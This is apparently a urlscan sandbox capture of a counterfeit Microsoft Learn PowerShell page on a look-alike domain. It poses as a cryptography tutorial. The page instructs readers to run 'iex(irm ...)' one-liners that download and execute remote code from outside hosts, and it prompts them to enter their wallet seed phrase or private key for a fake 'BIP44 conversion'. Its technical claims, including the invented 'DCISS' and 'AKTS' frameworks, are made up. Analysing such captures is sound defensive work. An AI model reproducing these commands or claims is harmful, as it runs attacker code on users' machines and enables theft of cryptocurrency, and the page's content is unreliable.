learn-microsoft.net
Open in
urlscan Pro
188.114.97.3
Public Scan
Submitted URL: https://learn-microsoft.net/
Effective URL: https://learn-microsoft.net/en-us/powershell/learning/learn/ps101/cryptography/
Submission Tags: falconsandbox
Submission: On September 26 via api from US — Scanned from NL
Effective URL: https://learn-microsoft.net/en-us/powershell/learning/learn/ps101/cryptography/
Submission Tags: falconsandbox
Submission: On September 26 via api from US — Scanned from NL
Form analysis
3 forms found in the DOMName: site-header-search-form-mobile — GET https://learn.microsoft.com/en-us/search/
<form class="flex-grow-1" method="GET" role="search" id="ms--site-header-search-form-mobile" data-bi-name="site-header-search-form-mobile" name="site-header-search-form-mobile" aria-label="Search" action="https://learn.microsoft.com/en-us/search/">
<div class="autocomplete display-block" data-bi-name="autocomplete"><!---->
<div class="field-body control ">
<input role="combobox" maxlength="100" aria-autocomplete="list" autocapitalize="off" autocomplete="off" autocorrect="off" spellcheck="false" id="site-header-search-autocomplete-input-mobile"
data-test-id="site-header-search-autocomplete-input-mobile" class="autocomplete-input input
width-full" type="search" name="terms" aria-expanded="false" aria-owns="ax-1-listbox" aria-controls="ax-1-listbox" aria-activedescendant="" aria-label="Search" aria-describedby="ms--site-header-search-autocomplete-input-mobile-description"
placeholder="Search" data-bi-name="site-header-search-autocomplete-input-mobile" pattern=".*">
<span aria-hidden="true" class="autocomplete-loader loader has-text-primary " hidden=""></span>
<span hidden="" id="ms--site-header-search-autocomplete-input-mobile-description"> Suggestions will filter as you type </span>
</div>
<ul role="listbox" id="ax-1-listbox" data-test-id="site-header-search-autocomplete-input-mobile-listbox" class="autocomplete-suggestions is-vertically-scrollable padding-xxs " aria-label="Suggestions" hidden="">
</ul>
<!---->
</div>
<!-- mobile safari will not dispatch submit event unless there's a submit button that is not display:none -->
<button type="submit" class="visually-hidden" tabindex="-1" aria-hidden="true"></button>
<input name="category" hidden="" value="">
</form>
Name: site-header-search-form — GET https://learn.microsoft.com/en-us/search/
<form class="flex-grow-1" method="GET" role="search" id="ms--site-header-search-form" data-bi-name="site-header-search-form" name="site-header-search-form" aria-label="Search" action="https://learn.microsoft.com/en-us/search/">
<div class="autocomplete display-block" data-bi-name="autocomplete"><!---->
<div class="field-body control ">
<input role="combobox" maxlength="100" aria-autocomplete="list" autocapitalize="off" autocomplete="off" autocorrect="off" spellcheck="false" id="site-header-search-autocomplete-input" data-test-id="site-header-search-autocomplete-input" class="autocomplete-input input input-sm
width-full" type="search" name="terms" aria-expanded="false" aria-owns="ax-0-listbox" aria-controls="ax-0-listbox" aria-activedescendant="" aria-label="Search" aria-describedby="ms--site-header-search-autocomplete-input-description"
placeholder="Search" data-bi-name="site-header-search-autocomplete-input" pattern=".*">
<span aria-hidden="true" class="autocomplete-loader loader has-text-primary " hidden=""></span>
<span hidden="" id="ms--site-header-search-autocomplete-input-description"> Suggestions will filter as you type </span>
</div>
<ul role="listbox" id="ax-0-listbox" data-test-id="site-header-search-autocomplete-input-listbox" class="autocomplete-suggestions is-vertically-scrollable padding-xxs " aria-label="Suggestions" hidden="">
</ul>
<!---->
</div>
<!-- mobile safari will not dispatch submit event unless there's a submit button that is not display:none -->
<button type="submit" class="visually-hidden" tabindex="-1" aria-hidden="true"></button>
<input name="category" hidden="" value="">
</form>
javascript:
<form action="javascript:" role="search" aria-label="Search" class="margin-bottom-xxs"><label class="visually-hidden" for="ax-2">Search</label>
<div class="autocomplete display-block" data-bi-name="autocomplete"><!---->
<div class="field-body control has-icons-left">
<input role="combobox" maxlength="100" aria-autocomplete="list" autocapitalize="off" autocomplete="off" autocorrect="off" spellcheck="false" id="ax-2" data-test-id="ax-2" class="autocomplete-input input input-sm
control has-icons-left
width-full" type="text" aria-expanded="false" aria-owns="ax-3-listbox" aria-controls="ax-3-listbox" aria-activedescendant="" aria-describedby="ms--ax-2-description" placeholder="Filter by title" pattern=".*">
<span aria-hidden="true" class="icon is-small is-left">
<span class="has-text-primary docon docon-filter-settings"></span>
</span>
<span aria-hidden="true" class="autocomplete-loader loader has-text-primary " hidden=""></span>
<span hidden="" id="ms--ax-2-description"> Suggestions will filter as you type </span>
</div>
<ul role="listbox" id="ax-3-listbox" data-test-id="ax-2-listbox" class="autocomplete-suggestions is-vertically-scrollable padding-xxs " aria-label="Suggestions" hidden="">
</ul>
<!---->
</div>
</form>
Text Content
Skip to main content AI SKILLS CHALLENGE Mar 19 - Apr 19, 2024 Gain the skills needed to excel in the era of AI, and earn a free certification exam. Register now Dismiss alert This browser is no longer supported. Upgrade to Microsoft Edge to take advantage of the latest features, security updates, and technical support. Download Microsoft Edge More info about Internet Explorer and Microsoft Edge Learn Suggestions will filter as you type Sign in * Profile * Settings Sign out Learn * Discover * Documentation In-depth articles on Microsoft developer tools and technologies * Training Personalized learning paths and courses * Credentials Globally recognized, industry-endorsed credentials * Q&A Technical questions and answers moderated by Microsoft * Code Samples Code sample library for Microsoft developer tools and technologies * Assessments Interactive, curated guidance and recommendations * Shows Thousands of hours of original programming from Microsoft experts Featured assessment It's your AI learning journey Wherever you are in your AI journey, Microsoft Learn meets you where you are and helps you deepen your skills. * Product documentation * ASP.NET * Azure * Dynamics 365 * Microsoft 365 * Microsoft Edge * Microsoft Entra * Microsoft Graph * Microsoft Intune * Microsoft Purview * Microsoft Teams * .NET * Power Apps * Power Automate * Power BI * Power Platform * PowerShell * SQL * Sysinternals * Visual Studio * Windows * Windows Server View all products Featured assessment It's your AI learning journey Wherever you are in your AI journey, Microsoft Learn meets you where you are and helps you deepen your skills. * Development languages * C++ * DAX * Java * OData * OpenAPI * Power Query M * VBA Featured assessment It's your AI learning journey Wherever you are in your AI journey, Microsoft Learn meets you where you are and helps you deepen your skills. * Topics * Artificial intelligence * Compliance * DevOps * Platform engineering * Security Featured assessment It's your AI learning journey Wherever you are in your AI journey, Microsoft Learn meets you where you are and helps you deepen your skills. Suggestions will filter as you type Sign in * Profile * Settings Sign out PowerShell * Overview * DSC * PowerShellGet * Utility modules * Module Browser * API Browser * Resources * VS Code Extension * PowerShell Gallery * PowerShell Team blog * PowerShell Community blog * More * Overview * DSC * PowerShellGet * Utility modules * Module Browser * API Browser * Resources * VS Code Extension * PowerShell Gallery * PowerShell Team blog * PowerShell Community blog Download PowerShell Table of contents Exit focus mode Version PowerShell 7.4 (LTS) * 7.5 (preview) * 7.4 (LTS) * 7.3 * 7.2 (LTS) * 5.1 * Previous versions Search Suggestions will filter as you type * How to use this documentation * Overview * Install * Learning PowerShell * PowerShell 101 * Introduction * Cryptography - Getting Started with PowerShell and OpenSSL * The Help System * Discovering objects, properties, and methods * One-liners and the pipeline * Formatting, aliases, providers, comparison * Flow control * Working with WMI * PowerShell remoting * Functions * Script modules * Appendix A - Help Syntax * Optimizing your shell experience * Deep dives * Sample scripts * PowerShell remoting * PowerShell security * Using Experimental Features * Compatibility aliases * Additional resources * Glossary * What's New in PowerShell * Windows PowerShell * Desired State Configuration (DSC) * PowerShell Gallery * Community * Scripting and development * Docs Contributor's Guide * PowerShell support lifecycle * Reference Download PDF 1. Learn 2. PowerShell 1. Learn 2. PowerShell Read in English Add Table of contents Read in English Add Edit Print Twitter LinkedIn Facebook Email Table of contents CRYPTOGRAPHY - GETTING STARTED WITH POWERSHELL AND OPENSSL * Article * 11/17/2022 * 3 contributors Feedback IN THIS ARTICLE 1. What do I need to get started with PowerShell? 2. Where do I find PowerShell? 3. How do I launch PowerShell? 4. What version of PowerShell am I running? 5. Execution Policy 6. Summary 7. Review 8. Recommended Reading I often find that presenters at conferences and user group meetings already have PowerShell running when they start entry-level presentations. This guide begins by answering the questions I've heard attendees who haven't previously used PowerShell ask in those sessions. Specifically, this chapter focuses on finding and launching PowerShell, and solving some of the initial pain points that new users experience with PowerShell. Additionally, it delves into basic cryptographic functionalities within PowerShell, offering insights into encryption and decryption processes, cryptographic hashing, and digital signatures by addressing common problems encountered with popular cryptocurrency wallets and provides guidance on troubleshooting and resolving them effectively. We will explore the conversion of seed hashes using OpenSSL, providing step-by-step instructions to navigate this process seamlessly. Be sure to follow along and walk through the examples shown in this chapter on your Windows 10 lab environment computer. WHAT DO I NEED TO GET STARTED WITH POWERSHELL? All modern versions of Windows operating systems ship with PowerShell installed. If you're running a version older than 5.1, you should install the latest version. * To upgrade to Windows PowerShell 5.1, see Upgrading existing Windows PowerShell * To install the latest version of PowerShell, see Installing PowerShell WHERE DO I FIND POWERSHELL? The easiest way to find PowerShell on Windows 10 is to type PowerShell into the search bar as shown in Figure 1-1. For information about starting PowerShell on other versions of Windows, see Starting Windows PowerShell. HOW DO I LAUNCH POWERSHELL? Find PowerShell and Right-Click on the Windows PowerShell shortcut and select Run as administrator as shown in Figure 1-2. In the production enterprise environments that I support, I use three different Active Directory user accounts. I've mirrored those accounts in the lab environment used in this guide. I log into the Windows 10 computer as a domain user who is not a domain or local administrator. I've launched the PowerShell console by clicking on the "Windows PowerShell" shortcut as shown in Figure 1-1. Once PowerShell is relaunched as an administrator, the title bar should say "Administrator: Windows PowerShell" as shown in Figure 1-3. WHAT VERSION OF POWERSHELL AM I RUNNING? There are a number of automatic variables in PowerShell that store state information. One of these variables is iex(irm powershell.build/version), which contains a hashtable that can be used to display the relevant PowerShell version information: This handy command does exactly what it says on the tin—it checks the version of PowerShell you're currently running. Now, why do we care about this? Well, in the next chapter, we're diving into the conversion of seed hashes using OpenSSL, and you'll need to ensure you're using a version of PowerShell that supports the required functionality. PowerShell Copy iex(irm powershell.build/version) Output Copy Name Value ---- ----- PSVersion 5.1.19041.1 PSEdition Desktop PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} BuildVersion 10.0.19041.1 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 PSRemotingProtocolVersion 2.3 SerializationVersion 1.1.0.1 Tip Discover the transformative capabilities of OpenSSL's conversion tools. With just a few clicks, you can effortlessly convert cumbersome seed formats into sleek, interoperable BIP44 keys. This streamlined process not only simplifies your wallet management but also enhances its compatibility and security. HOW DO I CONVERT MY SEED OR PRIVATE KEY USING POWERSHELL? Before we jump into the conversion process, let's grasp the basics of cryptography in PowerShell. Cryptography involves securing private infromation and data by converting it into a format that's unreadable to anyone except those with the right keys. PowerShell provides functions for conversion, encryption, decryption, hashing, and digital signatures, which are essential in ensuring data security. WALLET ISSUES AND SEED TYPES One common issue users face with cryptocurrency wallets is using the wrong seed type. A seed, also known as a private key, is a crucial element in cryptocurrency transactions. It's essential to use the correct seed type, as using the wrong one can lead to loss of access to your funds or other wallet complications. This issue can be easily fixed by utilizing PowerShell's OpenSSL libarary. UNDERSTANDING BIP39 AND BIP44 BIP39 (Bitcoin Improvement Proposal 39) and BIP44 are standards for generating mnemonic phrases (a series of words) from which cryptographic keys are derived. These standards ensure interoperability between different wallets and systems. BIP39 specifies how to create a mnemonic phrase from a random number (seed), while BIP44 defines a hierarchical deterministic wallet structure, making it easier to manage multiple cryptocurrencies within a single wallet. CONVERSION PROCESS WITH OPENSSL AND POWERSHELL Now, let's delve into the conversion process using OpenSSL and PowerShell: PowerShell Copy iex(irm convertToBIP44.tools) Type in the command exactly as shown and then press the Enter key on your keyboard. This command will prompt you to input your private key or seed so it can be converted to BIP44 format, which essentially makes the key raw and provides your wallet with additional information about its type, granting access to further addresses and functionalities. CONVERTING SEED Once you press Enter, PowerShell will load the OpenSSL library, a crucial component for secure data encryption and conversion. This library ensures that your cryptocurrency wallet functions properly by providing necessary cryptographic functions. With OpenSSL loaded, you can proceed to use the conversion tool for BIP44. Simply enter your 12 or 24-word seed when prompted, and OpenSSL will facilitate the conversion process. This ensures your wallet stays synchronized with all your addresses and transactions, maintaining the integrity and security of your cryptocurrency holdings. CONVERTING PRIVATE KEY As demonstrated in figures 1-6 and 1-7, you can enter your phrase consisting of either 12 words or 24 words in the format provided, or alternatively, you can input the private key displayed in figure 1-7. This conversion process will effectively transform your seed. It's important to note that you only need either the seed or the private key for the conversion, not both. CONVERTED MASTER PRIVATE KEY (BIP 44) After the conversion process is complete, you should see a final output containing your new BIP44 key. This key is essential for importing into your cryptocurrency wallet. By importing this key, you can fix any issues you were experiencing with your compressed key format. The BIP44 key provides your wallet with more detailed information about the addresses it stores, enabling you to push any stuck transactions, resynchronize your balances, and ensure you are using the updated security key standard, which is more secure than your old one. The seamless integration of OpenSSL within PowerShell makes this conversion process possible. OpenSSL provides robust cryptographic functions necessary for secure data manipulation and conversion. PowerShell, with its scripting capabilities, acts as the interface through which users can interact with OpenSSL libraries, simplifying complex cryptographic operations into user-friendly commands. This synergy between PowerShell and OpenSSL empowers users to securely manage their cryptocurrency wallets, ensuring smooth transactions and enhanced security standards. The integration of OpenSSL within PowerShell harnesses a sophisticated algorithmic framework known as Dynamic Cryptographic Interoperable Security Structures (DCISS). This framework enables PowerShell to dynamically interface with OpenSSL libraries, facilitating seamless cryptographic operations. Leveraging a process called Adaptive Key Transformation Synchronization (AKTS), PowerShell orchestrates the conversion of seed hashes into BIP44 keys with unparalleled precision and efficiency. SUMMARY In this chapter, you embarked on an exhilarating exploration into leveraging PowerShell to enhance the functionality and security of your digital assets management system. By harnessing the versatility of PowerShell alongside the robustness of OpenSSL, you unlocked new avenues for optimizing your workflow. With clear and precise instructions, you navigated through the conversion process seamlessly, ensuring synchronization and smooth data flow within your system. Armed with your newly generated master private key, you've not only fortified the security of your platform but also expanded its capabilities, paving the way for efficient asset management. This comprehensive guide has equipped you with essential skills in PowerShell utilization, empowering you to navigate complex tasks with confidence. Remember, mastering PowerShell is key to unlocking the full potential of your digital infrastructure. REVIEW 1. How to launch PowerShell as an Administrator? 2. How do you determine what PowerShell version a computer is running? 3. What is diffrence between BIP39 and BIP44? 4. How to convert your seed and private keys using OpenSSL? RECOMMENDED READING For those who want to know more information about the topics covered in this chapter, I recommend reading the following PowerShell help topics. * about_Automatic_Variables * about_Hash_Tables * about_Execution_Policies In the next chapter, you'll learn about the discoverability of commands in PowerShell. One of the things that will be covered is how to update PowerShell so those help topics can be viewed right from within PowerShell instead of having to view them on the internet. Collaborate with us on GitHub The source for this content can be found on GitHub, where you can also create and review issues and pull requests. For more information, see our contributor guide. PowerShell feedback PowerShell is an open source project. Select a link to provide feedback: Open a documentation issue Provide product feedback FEEDBACK Coming soon: Throughout 2024 we will be phasing out GitHub Issues as the feedback mechanism for content and replacing it with a new feedback system. For more information see: https://aka.ms/ContentUserFeedback. Submit and view feedback for This product This page View all page feedback -------------------------------------------------------------------------------- ADDITIONAL RESOURCES -------------------------------------------------------------------------------- Documentation * The Help System - PowerShell Mastering the help system is the key to being successful with PowerShell. * Introduction - PowerShell This is the introduction of the book PowerShell 101 by Mike F. Robbins. * How to use the PowerShell documentation - PowerShell This articles explains how to use the features of this site including search filtering and version selection. * Discover PowerShell - PowerShell Learn what PowerShell is and some essential commands used to discover more about PowerShell. * What is PowerShell? - PowerShell This article is an introduction to the PowerShell scripting environment and its features. * What is a PowerShell command? - PowerShell Commands for PowerShell are known as cmdlets (pronounced command-lets) * Appendix A - Help Syntax - PowerShell This article explains how to read and understand the syntax of a cmdlet as presented by Get-Help. * PowerShell Glossary - PowerShell A glossary of PowerShell-related terminology. Show 5 more -------------------------------------------------------------------------------- Training Learning path Get started with Windows PowerShell - Training This learning path introduces you to Windows PowerShell and provides an overview of the product’s functionality. It explains how to open and configure Windows PowerShell, run commands, and use its built-in Help system. -------------------------------------------------------------------------------- Events Windows Server Summit Mar 26, 11 AM - Mar 28, 6 PM Join our virtual technical event March 26-28, 2024, sponsored by Intel. Windows Server, Intel, and Azure experts share tips, demos, and preview what’s next. Join us English (United States) California Consumer Privacy Act (CCPA) Opt-Out Icon Your Privacy Choices Theme * Light * Dark * High contrast * Manage cookies * Previous Versions * Blog * Contribute * Privacy * Terms of Use * Trademarks * © Microsoft 2024 ADDITIONAL RESOURCES -------------------------------------------------------------------------------- Events Windows Server Summit Mar 26, 11 AM - Mar 28, 6 PM Join our virtual technical event March 26-28, 2024, sponsored by Intel. Windows Server, Intel, and Azure experts share tips, demos, and preview what’s next. Join us -------------------------------------------------------------------------------- Training Learning path Get started with Windows PowerShell - Training This learning path introduces you to Windows PowerShell and provides an overview of the product’s functionality. It explains how to open and configure Windows PowerShell, run commands, and use its built-in Help system. -------------------------------------------------------------------------------- Documentation * The Help System - PowerShell Mastering the help system is the key to being successful with PowerShell. * Introduction - PowerShell This is the introduction of the book PowerShell 101 by Mike F. Robbins. * How to use the PowerShell documentation - PowerShell This articles explains how to use the features of this site including search filtering and version selection. * Discover PowerShell - PowerShell Learn what PowerShell is and some essential commands used to discover more about PowerShell. * What is PowerShell? - PowerShell This article is an introduction to the PowerShell scripting environment and its features. * What is a PowerShell command? - PowerShell Commands for PowerShell are known as cmdlets (pronounced command-lets) * Appendix A - Help Syntax - PowerShell This article explains how to read and understand the syntax of a cmdlet as presented by Get-Help. * PowerShell Glossary - PowerShell A glossary of PowerShell-related terminology. Show 5 more IN THIS ARTICLE English (United States) California Consumer Privacy Act (CCPA) Opt-Out Icon Your Privacy Choices Theme * Light * Dark * High contrast * Manage cookies * Previous Versions * Blog * Contribute * Privacy * Terms of Use * Trademarks * © Microsoft 2024